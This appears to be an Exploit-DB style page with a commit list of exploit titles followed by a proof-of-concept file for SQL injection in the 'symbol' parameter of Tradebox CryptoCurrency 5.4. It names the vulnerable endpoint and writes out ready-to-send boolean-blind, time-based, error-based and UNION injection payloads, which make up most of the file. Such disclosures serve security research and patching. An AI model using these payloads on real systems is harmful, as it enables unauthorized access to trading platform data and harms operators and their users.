23f668ca8d
14 changes to exploits/shellcodes FlexHEX 2.71 - SEH Buffer Overflow (Unicode) AllPlayer 7.4 - SEH Buffer Overflow (Unicode) River Past Cam Do 3.7.6 - 'Activation Code' Local Buffer Overflow Download Accelerator Plus (DAP) 10.0.6.0 - SEH Buffer Overflow Apache 2.4.17 < 2.4.38 - 'apache2ctl graceful' 'logrotate' Local Privilege Escalation QNAP Netatalk < 3.1.12 - Authentication Bypass Jobgator - 'experience' SQL Injection Bolt CMS 3.6.6 - Cross-Site Request Forgery / Remote Code Execution ShoreTel Connect ONSITE < 19.49.1500.0 - Multiple Vulnerabilities SaLICru -SLC-20-cube3(5) - HTML Injection CentOS Web Panel 0.9.8.793 (Free) / 0.9.8.753 (Pro) - Cross-Site Scripting Tradebox CryptoCurrency - 'symbol' SQL Injection WordPress Plugin Limit Login Attempts Reloaded 2.7.4 - Login Limit Bypass ManageEngine ServiceDesk Plus 9.3 - User Enumeration
41 lines
No EOL
1.5 KiB
Text
41 lines
No EOL
1.5 KiB
Text
# Title: Tradebox - CryptoCurrency Buy Sell and Trading
|
||
# Date: 04.04.2019
|
||
# Exploit Author: Abdullah Çelebi
|
||
# Vendor Homepage: https://www.bdtask.com
|
||
# Software Link: tradebox.bdtask.com/demo-v5.3/
|
||
# Version: 5.4
|
||
# Category: Webapps
|
||
# Tested on: WAMPP @Win
|
||
# Software description:
|
||
Tradebox – CryptoCurrency Buy Sell and Trading Software. Tradebox is for
|
||
the cryptocurrency trading and selling.even you can request for buy and
|
||
sell at a specific price. There have withdrawal and deposit option.
|
||
|
||
# Vulnerabilities:
|
||
# An attacker can access all data following an authorized user login using
|
||
the parameter.
|
||
|
||
|
||
# POC - SQLi :
|
||
|
||
# Parameter: symbol (POST)
|
||
# Request URL: http://localhost/backend/dashboard/home/monthly_deposit
|
||
# Type : boolean-based blind
|
||
csrf_test_name=53d7718e6ed975d198e33cfcad7def47&symbol=USD' AND 8149=8149
|
||
AND 'PuLt'='PuLt
|
||
|
||
# Type : time-based blind
|
||
csrf_test_name=53d7718e6ed975d198e33cfcad7def47&symbol=USD' OR (SELECT *
|
||
FROM (SELECT(SLEEP(5)))rBnp) AND 'wNyS'='wNyS
|
||
|
||
# Type : error-based
|
||
csrf_test_name=53d7718e6ed975d198e33cfcad7def47&symbol=USD' AND (SELECT
|
||
5276 FROM(SELECT COUNT(*),CONCAT(0x7162707671,(SELECT
|
||
(ELT(5276=5276,1))),0x7171787171,FLOOR(RAND(0)*2))x FROM
|
||
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'CnKo'='CnKo
|
||
|
||
# Type : generic union
|
||
csrf_test_name=53d7718e6ed975d198e33cfcad7def47&symbol=USD' UNION ALL
|
||
SELECT
|
||
NULL,CONCAT(0x7162707671,0x75664d4466634a4d505554424d6d6a577957506a51534d734c6e7551516f436f71444e77796f4a63,0x7171787171)--
|
||
Lzbq |